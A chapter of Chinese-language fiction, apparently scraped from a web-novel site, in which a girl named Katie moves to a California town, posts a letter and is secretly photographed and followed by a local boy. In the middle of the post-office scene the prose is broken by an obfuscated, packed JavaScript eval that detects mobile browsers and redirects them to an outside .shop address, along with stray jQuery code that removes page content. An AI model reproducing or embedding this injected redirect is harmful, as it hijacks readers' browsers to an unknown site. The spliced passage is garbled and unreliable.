“德丝蕾，我们要去哪来着？”
车子已经行驶了整整一夜。
凯蒂手里捏着纸笔，打算写下给约书亚的第一封信。
“呃……加州的某个小镇，你看看那张地图，圈出来的就是。”德丝蕾思索片刻，一时想不起确切名字，抬眼示意凯蒂去拿方向盘前方摊开的地图。
凯蒂被安全带束缚着，费劲地探过身子，伸手把地图捞了过来。
“希登希尔斯？”
“对，就是这里。未来十年，我们就要在这儿生活。”
德丝蕾话音刚落，目光便落在凯蒂手中的纸和笔上。“哦，你是打算给约书亚写信？”
凯蒂轻轻点头，眼底蒙着一层淡淡的失落，“我很抱歉，没能和他好好道别。所以我想尽快写封信，请求他的原谅。”
德丝蕾见她神色低落，连忙开口安抚，“我们以后还会再见面的。”
也是察觉到气氛闷闷的，抬手去拧车载收音机的旋钮，“看看我们的广播里面会放些什么吧。”
收音机沙沙作响，一个女声响了起来：“欢迎收听《家庭清洁指南》，我是黛茜！今天教大家清除浴室瓷砖缝隙里的霉斑。先喷洒白醋，静置五分钟，再撒上小苏打，拿旧牙刷打圈擦拭……”
“我的天，这是什么鬼频道。”
德丝蕾二话不说就要转动旋钮换台。
“别，不要换！”凯蒂信纸还没写完，猛地抬头出声阻拦，“我想听这个。”
“听做家务的节目？”
面对德丝蕾有些诧异的神情，凯蒂心底真实的念头说不出口，只能顺着话往下说，“我总得为这个家，做些力所能及的事。”
“行吧。”德丝蕾嘴上没再多说，收回了手，眼神里带着几分刮目相看。
从纽约奔赴希登希尔斯，整整两天两夜的车程终于走到了终点。
一路上，凯蒂也学着德丝蕾的模样，学着调试车厢里维系妈妈生命的仪器。
她不得不承认，照料一名植物人，是件格外耗神辛苦的事，但她心底打定主意，会一直坚持下去。
德丝蕾缓缓踩下刹车，车子稳稳停住。
“凯蒂，我们到了，快下车看一看。”德丝蕾侧过头，示意凯蒂推开车门。
凯蒂立刻应声，一把推开车门跳下车。“噢，天哪！”
眼前的景象远比她想象的要好得多。
晴朗的白日之下，一栋宽敞的白色美式独栋大宅静静坐落在缓坡上。
墙面洁净，搭配深灰色坡屋顶、红砖烟囱与深绿色百叶窗，好几扇拱形顶的大窗户错落排布，房子侧边还立着一座小巧的风标塔楼。
屋前是大片修剪得齐整的翠绿色草坪，顺着山坡铺展开来，草坪间散落着各色花簇与高矮不一的幼树，草木层次丰富。
房屋后方是长满灌木的低矮荒山，头顶的天空澄澈透亮。
一条车道蜿蜒向前直通屋前，他们的面包车就停在车道之上。
德丝蕾也下了车，绕到凯蒂身前，“怎么样？”
“我从没想过会有这么大、这么干净的房子。”谁不向往这样的大房子，这是连日来凯蒂收到最好的消息，“我想，我会喜欢这里的。”
看见凯蒂这般反应，德丝蕾心底十分满意，毕竟这栋房子几乎掏空了她半辈子的积蓄。
“那你就在车子旁边待着，我的朋友很快就到，会带人过来帮我们布置新家，不光有房子，新家具也都准备好了。”
“我知道了!我会守着妈妈，待在车边上。”
凯蒂站在原地，望着德丝蕾走向后方姗姗来迟的那几辆大货车。
是似乎察觉到身上萦绕着那若隐若现的视觉，她下意识转头望过去。
就在车头不远处，这条车道的下方，停着一个骑着小单车的孩子，年纪和凯蒂相仿，脖子上还挂着一台胶卷相机。
“约书亚？”
场景太过熟悉，凯蒂几乎脱口而出。
可下一秒她就反应过来，这是一个自己从未见过的陌生人，紧接着又有一个疑问冒了出来，她分辨不出对方是男孩还是女孩。
因为对方生得实在太过漂亮。
浅棕色软发长到耳尖，额前碎发松松垂落，微微盖住一点眉骨，发丝带着自然蓬松的弧度，眉形纤细，浅棕的眉毛顺着眼窝柔和舒展。
脸颊还留着孩童饱满的软肉，颧骨尚未长开，下颌圆润，只有一丝利落的轮廓，藏在婴儿肥之下，鼻梁纤细秀气，鼻尖小巧，唇形偏薄，覆着一层淡淡的粉。
最引人注目的是那双浅蓝灰色的瞳孔。
和约书亚的褐色眼眸不一样，也不同于凯蒂自己深黑的眼睛。
那双眼睛迷人又带着一丝危险，仿佛会牢牢锁住你，一言不发地静静凝望。
凯蒂静静等着对方主动过来打招呼，不知是什么心绪作祟，比起自己主动上前，她更盼望对方先迈出一步。
但显然对方丝毫没有动的意思，只是依旧望着她。
就在凯蒂快要按捺不住，打算走上前去问话的时候，对方蹬动脚踏，骑着小单车转身离开了。
身后传来德丝蕾的喊声：“凯蒂，你不是要寄信吗？这位叔叔知道镇上邮差的位置，我让他带你过去。”
德丝蕾原本打算等自己安顿妥当再陪凯蒂去，可想着凯蒂在一旁干等着太过无聊，便在和帮忙的工人闲聊时随口问了一句，她的朋友顺势接下了这件事。
而她呢？一来怕凯蒂闷得慌，二来对方已经帮了不少忙，总不好再留人家继续收拾屋子，便安排了这桩轻松的差事。
“嗨，你就是凯蒂吧，我叫汉克，是你奶奶的朋友。”一名肤色偏红的大叔从德丝蕾身后走出来，一身牛仔裤、工装靴与Polo衫。
诡异的是整个人格外整洁，就连胡须都打理得干干净净。
凯蒂从未见过这样的人，还是伸手握住了对方递过来的手。“汉克……叔叔好。”
“瞧见没，小孩子都知道叫我叔叔。”汉克只是轻轻握了握，点到即止便收回手。
“哦，天啊，可别叫我奶奶！都把我叫老了。”德丝蕾又气又好笑。
就这样，凯蒂坐上汉克的车，去往镇上的邮局。
“好了，到地方了！”
凯蒂一时没有应声，不得不承认，这位刚认识的汉克叔叔开车技术相当彪悍。
“看样子你得缓一缓，小家伙。”汉克憋着笑意。
片刻之后，凯蒂才缓过神下车，跟着汉克走进邮局。
小镇人口不多，前面只排了一两个人，很快就轮到凯蒂。
“下一位。”
“您好，我们要寄这封信去纽约。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946727|214080||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>凯蒂努力探过身子对着营业员说话，把信封递了过去。
“普通信件？”
“嗯，是的。”
营业员接过信封放到秤上。
“不足一盎司，三十二美分。”
凯蒂这才猛然想起自己没有带钱，尴尬地抬头看向身后的汉克。
汉克挑了挑眉，打趣道：“哦，看样子某人故意不带钱，就等着刚认识的叔叔破费呢。”
说完他从钱包里拿出对应金额，递了过去。
凯蒂很少接触大人这种玩笑，一本正经地小声开口：“我会还给你的。”
“哈哈哈，叔叔跟你开玩笑的，凯蒂。”
寄信的事顺利办完。
营业员告诉凯蒂，信件大概五天可以抵达纽约。往后如果还要寄信，可以直接投进邮局门口的蓝色邮筒；也可以丢进自家门口的信箱，只是投递速度会慢上一些。
只是在凯蒂看不到的视线内，一个人挪着小单车慢慢走出了柱子。
这个人赫然就是之前与凯蒂矗立相望的孩子。
他是个男孩，名叫文森特。
他原本正卧在小镇进出必经路口的土坡上，像往常一样，拍摄被来往车辆碾轧致死的动物尸体。
可今天一切都不一样了。他没有拍到预想中的尸体，反倒捕捉到了一样远比尸体更勾住他注意力的事物——凯蒂。
阳光落下来，凯蒂正趴在车窗边，好奇地打量周遭的风景，那双深黑色的瞳孔在日光下亮得夺目。
咔嚓。
快门按下，画面被定格。
文森特的心，仿佛也在这一瞬间停跳了一拍。
可他手上的动作没有迟疑，眼见那辆面包车就要驶远，他来不及收拾东西，翻身跨上身边的小单车，拼尽全力在后面追赶。
为了他的拍摄计划，他熟稔小镇的每一条岔路，就这样靠着一辆小小的脚踏车，硬是一路追到了凯蒂的新家。
也就在这时，凯蒂下了车，转头，对上了他的视线。
无声的对视就此展开。
文森特愈发觉得，凯蒂的双眼格外摄人。
那双眼迷人，又带着几分说不清的危险，仿佛能够看穿人心底藏着的念头。
他心底生出上前搭话的冲动，可偏偏被那道目光钉在原地，迈不开脚步。直到德丝蕾朝凯蒂走过去，他才骤然慌了神，猛地调转车头，逃也似的离开。
但他并没有真的走远。
他绕到另一处隐蔽的位置，一个凯蒂看不见他，他却能清清楚楚望见凯蒂的角落。
之后他故技重施，悄悄尾随汉克的车子，一路跟到了邮局。
“是来寄信的吗？”
文森特站在邮局门外，好奇地朝里面张望，时不时举起相机对准屋内，只可惜这台胶卷相机不能伸缩镜头，没办法拍得更近。
外面的世界时间过得格外慢，足够他反复回想方才的相遇。
他心底泛起一阵懊悔，方才初次碰面的瞬间，他竟然没有按下快门，那本该是属于他和她的初遇啊！
没过多久，凯蒂从邮局里走了出来。
文森特立刻闪身躲到柱子后方，望着汉克的车扬尘离去，又隐约听见邮局里面的人在商量午饭的事。
沉吟片刻后，把单车停靠在柱子旁，偷偷摸摸地溜进了邮局。